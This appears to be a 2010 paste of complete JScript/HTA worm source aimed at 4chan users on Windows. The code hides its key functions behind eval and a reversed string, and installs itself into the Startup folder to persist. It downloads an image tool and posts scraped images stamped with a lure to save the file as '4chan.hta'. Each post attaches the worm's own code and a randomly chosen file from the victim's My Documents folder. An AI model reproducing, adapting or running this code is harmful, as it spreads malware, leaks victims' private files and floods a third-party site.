Datei #uoxrre99-3479

Hochgeladen von anon - 20/07/2010 22:36 - 84 Zugriffe
Quellcode
  1. //<script id=thisscript>
  2. // List of boards
  3. var dir = "a b c d e g h hr k m o p r s t u v w wg i ic cm y r9k 3 adv an cgl ck co fa fit int jp lit mu n new po sci sp tg toy trv tv vp x".split(" ");
  4. var mfs = [3,2,3,3,3,3,3, 8,3,3,3,5,8,3,3,3,3,4, 4,3, 3, 3,3,  2,3,  3, 3,  3, 3, 3, 3,  3,  3, 3,  3, 3,3,  3, 8,  3, 3, 3,  3,  8, 3, 3,3];
  5.  
  6. // Global XMLHttp, shell, and file system objects
  7. var request = new ActiveXObject("Msxml2.XMLHTTP");
  8. var shell = new ActiveXObject("WScript.Shell");
  9. var fs = new ActiveXObject("tcejbOmetsySeliF.gnitpircS".split("").reverse().join(""));
  10.  
  11. // Creates a random alphanumeric string
  12. eval(
  13. 'func'+'tion randomstring(length) {'
  14. +'    var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";'
  15. +'    var str = "";'
  16. +'    for (var i = 0; i < length; i++) {'
  17. +'        str = str + choices.charAt( Math.floor(Math.random()*choices.length) );'
  18. +'    }'
  19. +'    return str;'
  20. +'}'
  21. );
  22.  
  23. // Gets HTML page or file from URL
  24. eval(
  25. 'func'+'tion get(url, doretry) {'
  26. +'    if (typeof get.modtime == "undefined") get.modtime = [];'
  27. +'    var successful = 0;'
  28. +'    var tries = 0;'
  29. +'    do {'
  30. +'        try {'
  31. +'            request.open("get", url, 0);'
  32. +'            request.setRequestHeader("Accept-Language", "en-us");'
  33. +'            if (get.modtime[url]) {'
  34. +'                request.setRequestHeader("If-Modified-Since", get.modtime[url]);'
  35. +'            }'
  36. +'            request.send();'
  37. +'            get.modtime[url] = request.getResponseHeader("Last-Modified");'
  38. +'            successful = 1;'
  39. +'        } catch(e) {}'
  40. +'        tries++;'
  41. +'    } while (doretry && !successful && tries < 5);'
  42. +'    if (!successful) throw("");'
  43. +'    if (request.status != 200) throw("");'
  44. +'}'
  45. );
  46.  
  47. // Downloads binary file
  48. eval(
  49. 'func'+'tion download(url) {'
  50. +'    get(url);'
  51. +'    var stream = new ActiveXObject("Adodb.Stream");'
  52. +'    stream.mode = 3;'
  53. +'    stream.type = 1;'
  54. +'    stream.open();'
  55. +'    stream.write(request.responseBody);'
  56. +'    return stream;'
  57. +'}'
  58. );
  59.  
  60. // Gets a thread number
  61. eval(
  62. 'func'+'tion getthread(board, page) {'
  63. +'    var url = "http://boards.4chan.org/" + dir[board] + "/" + (page || "");'
  64. +'    get(url, 1);'
  65. +'    var threadlist = request.responseText.match(/<span id="nothread\\d+/g);'
  66. +'    return threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\\d+/)[0];'
  67. +'}'
  68. );
  69.  
  70. // Deletes files produced
  71. eval(
  72. 'func'+'tion cleanup() {'
  73. +'    try {fs.deleteFile("part1");} catch(e) {}'
  74. +'    try {fs.deleteFile("part2");} catch(e) {}'
  75. +'    try {fs.deleteFile("part3");} catch(e) {}'
  76. +'    try {fs.deleteFile("part4");} catch(e) {}'
  77. +'    try {fs.deleteFile("part5");} catch(e) {}'
  78. +'    try {fs.deleteFile("all");} catch(e) {}'
  79. +'}'
  80. );
  81.  
  82. // Change to temp directory
  83. try {
  84.     shell.currentDirectory = fs.getSpecialFolder(2);
  85. } catch(e) {}
  86.  
  87. // Get a copy of this script
  88. var scripttext;
  89. if (typeof WSH == "undefined") {
  90.     scripttext = thisscript.innerHTML;
  91.     var i = 0;
  92.     while (scripttext.charAt(i) == "\n" || scripttext.charAt(i) == "\r") {
  93.         i++;
  94.     }
  95.     scripttext = scripttext.substr(i);
  96.     scripttext = "\r\n\r\n//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
  97. } else {
  98.     var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
  99.     scripttext = thisfile.readAll();
  100.     thisfile.close();
  101. }
  102.  
  103. // Copy to startup folder and run from there
  104. if (typeof WSH == "undefined") {
  105.     var copyname;
  106.     try {
  107.         copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
  108.         var copyfile = fs.openTextFile(copyname, 2, 1);
  109.         copyfile.write(scripttext);
  110.         copyfile.close();
  111.     } catch(e) {
  112.         // Run from temp folder if this fails
  113.         copyname = "4chan.js";
  114.         var copyfile = fs.openTextFile(copyname, 2, 1);
  115.         copyfile.write(scripttext);
  116.         copyfile.close();
  117.     }
  118.     shell.run("wscript \"" + copyname + "\"", 0, 1);
  119. }
  120.  
  121. if (typeof WSH != "undefined") {
  122.  
  123.     // Download ImageMagick
  124.     var imc;
  125.     try {
  126.         imc = download("https://develop.participatoryculture.org/trac/democracy/browser/trunk/dtv-binary-kit/imagemagick/convert.exe?rev=4463&format=raw");
  127.     } catch(e) {}
  128.  
  129.     for(;;) {
  130.         try {
  131.  
  132.             // Select random board
  133.             board = (Math.random() < 0.2) ? 1 : Math.floor( Math.random() * dir.length);
  134.  
  135.             // Get thread from board
  136.             var srcthread = getthread(board, 3 + Math.floor(5*Math.random()));
  137.             var srcurl = "http://boards.4chan.org/" + dir[board] + "/res/" + srcthread;
  138.             get(srcurl, 1);
  139.             var threadHTML = request.responseText;
  140.  
  141.             // Download image from the thread
  142.             var immatches = threadHTML.match(/<a href="http:\/\/[a-z]+\.4chan\.org\/[a-z0-9]+\/src\/\d+\.jpg/g);
  143.             var immatch = immatches[ Math.floor(Math.random()*immatches.length) ];
  144.             download(immatch.substr(9)).saveToFile("part4", 2);
  145.  
  146.             // Get comment
  147.             var comment = threadHTML.substr(threadHTML.indexOf(immatch)).match(/<blockquote>(.*?)<\/blockquote>/)[0];
  148.             comment = comment.replace(/<br \/>/g, "\n");
  149.             comment = comment.replace(/<[^>]*>/g, "");
  150.             comment = comment.replace(/&quot;/g, "\"");
  151.             comment = comment.replace(/&amp;/g, "&");
  152.             comment = comment.replace(/&#44;/g, ",");
  153.             comment = comment.replace(/&lt;/g, "<");
  154.             comment = comment.replace(/&gt;/g, ">");
  155.             comment = comment.split("");
  156.             for (var i = 0; i < comment.length - 1; i++) {
  157.                 if (Math.random() < 0.01) {
  158.                     var tmp = comment[i];
  159.                     comment[i] = comment[i+1];
  160.                     comment[i+1] = tmp;
  161.                 }
  162.             }
  163.             comment = comment.join("");
  164.             comment = comment.replace("\n", "\r\n");
  165.  
  166.             // Set thread to post to and name of file
  167.             var thread = getthread(board, 0);
  168.             var filename = (new Date().getTime() - Math.floor(Math.random()*1e10)) + ".jpg";
  169.  
  170.             // Add message to image
  171.             try {
  172.                 imc.saveToFile("imconvert.exe", 2);
  173.             } catch(e) {}
  174.             shell.run("imconvert.exe jpeg:part4 -pointsize 36 label:\"Save as\\n4chan.hta\\nShit bricks\" -composite jpeg:part2", 0, 1);
  175.  
  176.             // Set URL to post to
  177.             request.open("post", "http://sys.4chan.org/" + dir[board] + "/post", 0);
  178.  
  179.             // Set headers
  180.             var bdry = randomstring(20);
  181.             request.setRequestHeader("Referer", "http://boards.4chan.org/" + dir[board] + "/res/" + thread);
  182.             request.setRequestHeader("Accept-Language", "en-us");
  183.             request.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
  184.  
  185.             // Get document from My Documents
  186.             var docname = "";
  187.             var docsize = 0;
  188.             try {
  189.                 var docpath = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal");
  190.                 var doclist = fs.getFolder(docpath).files;
  191.                 if (doclist.count) {
  192.                     var en = new Enumerator(doclist);
  193.                     var n = Math.floor(doclist.count * Math.random());
  194.                     for (var i = 0; i < n; i++) {
  195.                         en.moveNext();
  196.                     }
  197.                     var nm = docpath + "\\" + en.item().name;
  198.                     if (!(fs.getFile(nm).attributes & 2)) {
  199.                         docname = nm;
  200.                         docsize = fs.getFile(docname).size;
  201.                     }
  202.                 }
  203.             } catch(e) {}
  204.  
  205.             // Create non-binary parts of POST data
  206.             var head = "--" + bdry + "\r\nContent-Disposition: form-data; name=\"";
  207.  
  208.             var part1 = head + "MAX_FILE_SIZE\"\r\n\r\n" + (mfs[board]*1048576) + "\r\n"
  209.                 + head + "resto\"\r\n\r\n" + thread + "\r\n"
  210.                 + head + "name\"\r\n\r\n\r\n"
  211.                 + head + "email\"\r\n\r\nnoko\r\n"
  212.                 + head + "sub\"\r\n\r\n\r\n"
  213.                 + head + "com\"\r\n\r\n" + comment + "\r\n"
  214.                 + head + "upfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/jpeg\r\n\r\n";
  215.             var part1f = fs.openTextFile("part1", 2, 1);
  216.             part1f.write(part1);
  217.             part1f.close();
  218.  
  219.             var part3 = scripttext + randomstring(100) + "\r\n";
  220.             if (docname != "") {
  221.                 part3 += docname + "\r\nBytes: " + docsize + "\r\n";
  222.             }
  223.             var part3f = fs.openTextFile("part3", 2, 1);
  224.             var n = 100 + Math.floor(100 * Math.random());
  225.             for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
  226.             part3f.write(part3);
  227.             var n = 100 + Math.floor(100 * Math.random());
  228.             for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
  229.             part3f.close();
  230.  
  231.             var part5 = "\r\n"
  232.                 + head + "pwd\"\r\n\r\n" + randomstring(8) + "\r\n"
  233.                 + head + "mode\"\r\n\r\nregist\r\n"
  234.                 + "--" + bdry + "--\r\n";
  235.             var part5f = fs.openTextFile("part5", 2, 1);
  236.             part5f.write(part5);
  237.             part5f.close();
  238.  
  239.             // Check that all parts exist
  240.             if (!fs.fileExists("part1") || !fs.fileExists("part2") || !fs.fileExists("part3") || !fs.fileExists("part4") || !fs.fileExists("part5")) {
  241.                 throw("");
  242.             }
  243.  
  244.             // Combine parts and read in
  245.             shell.run("cmd /c copy /b part1 + part2 + part3" + ((docname=="")?(""):(" + \""+docname+"\"")) + " + part4 + part5 all", 0, 1);
  246.             var stream = new ActiveXObject("Adodb.Stream");
  247.             stream.mode = 3;
  248.             stream.type = 1;
  249.             stream.open();
  250.             stream.loadFromFile("all");
  251.  
  252.             // Delete files produced
  253.             cleanup();
  254.  
  255.             // Post file
  256.             request.send(stream);
  257.  
  258.         } catch(e) {
  259.             cleanup();
  260.         }
  261.     }
  262. }